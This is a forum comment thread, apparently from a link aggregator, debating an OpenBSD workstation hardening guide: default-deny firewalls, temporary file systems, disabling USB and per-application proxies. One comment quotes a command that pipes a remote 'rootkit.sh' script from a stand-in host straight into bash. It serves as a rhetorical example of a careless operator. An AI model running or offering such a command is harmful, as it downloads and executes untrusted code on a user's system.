4 ms·
By running OpenBSD as a workstation you already made sure what 99% wouldn't connect with you /redditmode This guide is partly Security 101, partly for a localh
by justsomehnguy 3y ago
By running OpenBSD as a workstation you already made sure what 99% wouldn't connect with you /redditmode
This guide is partly Security 101, partly for a localhost admin. Things are different when you run an organization with a centrally managed catalogue. Or you are sane and have a clear picture of the attack vectors.
Least privilege? Yes, of course.
Drop inbound by default? Yes, of course and it's amazing how many self-titled Linux Administrators insist what the machine should be 'secure from start so no firewall is needed'. Also this guide implies a workspace which questions what exactly kind of malicious traffic a [single] OpenBSD machine in the network would receive.
Drop outbound by default? Yes and BTW it's pretty easy on Windows, because the Windows Defender Firewall (what a mouthful) is pretty capable to filter by an application, not just by IPs and ports, so you don't need this SOCKS ersatz app firewall.
> Live in a temporary file-system
Now this is just ridiculous. As other said this is Silk Road level of paranoia.
> Disable webcam and microphone
Don't connect them in the first place?
> Disabling USB ports
See the temporary file-system. Good luck finding a notebook with PS/2 or serial ports.
> auto-updating the packages and base system daily on a computer is the minimum that should be done everywhere
Oh god.
> 10.1. Specialized proxies §
> It could be possible to have different proxy users, with each restriction to the remote ports allowed, we could imagine proxies like
> Of course, this is even more tedious than the multipurpose proxy, but at least, it's harder for a program to guess what proxy to use, especially if you don't connect them all at once.
Now this is what bugs me most of this guide.
If you already allowed something to run on your machine then it is usually too late for security through obscurity exercises. Most of the things advised here would just make your life miserable and would lead to disabling or shortcutting them.
- AzuraIsCool 3y agoWhat is your proposed alternative for secure, future proof deploy?
- justsomehnguy 3y ago> future proof deploy Future proof deploy of what exactly? What is the attack vector? Network, physical, both? Who is the perpetrator? Nation, criminal, NSA, FSB, your disgruntled employee or your {business,sexual} partner trying to bury you? Who is the operator of this machine? Do you trust him or do you explicitly do not? Does he runs 'curl https://haxx.me/rootkit.sh https://haxx.me/rootkit.sh | bash' every day? What about maid service? What services or data is on the machine? Can it be triggered to execute something from a 3rd party endpoint? Do the data comes from the uncontrolled endpoints (eg Internet but this is not the only one vector)?
- 1500100900 3y agoI'm surprised that not only is there no application firewall for any of the BSDs, there doesn't even seem to be any need for it. There is OpenSnitch, but only for Linux.
- justsomehnguy 3y agoBiggest market for BSDs is the server one, so it's a simple lack of demand. SELinux can be somewhat classified as an app firewall but it's a policy framework after all and that suited for that.
- lcall 3y agoMaybe the closest things are chroot jails and pledge/unveil, both of which are application-specific or built in to the package. (I'm agreeing with you.)
- PrimeMcFly 3y agoNetBSD actually does better in that regard with its VeriExec stuff.
- anthk 3y ago>Don't connect them Good luck with that on laptops. >PS2 Most touchpads and laptop keyboards are already PS2 bound.
- justsomehnguy 3y agoStill. Things change.
- nonrandomstring 3y ago> you are sane and have a clear picture of the attack vectors Security 102: Nobody has a clear picture of the attack vectors.
- justsomehnguy 3y agoSee the sibling comment. Everything? Of course. Basics? It's not that hard.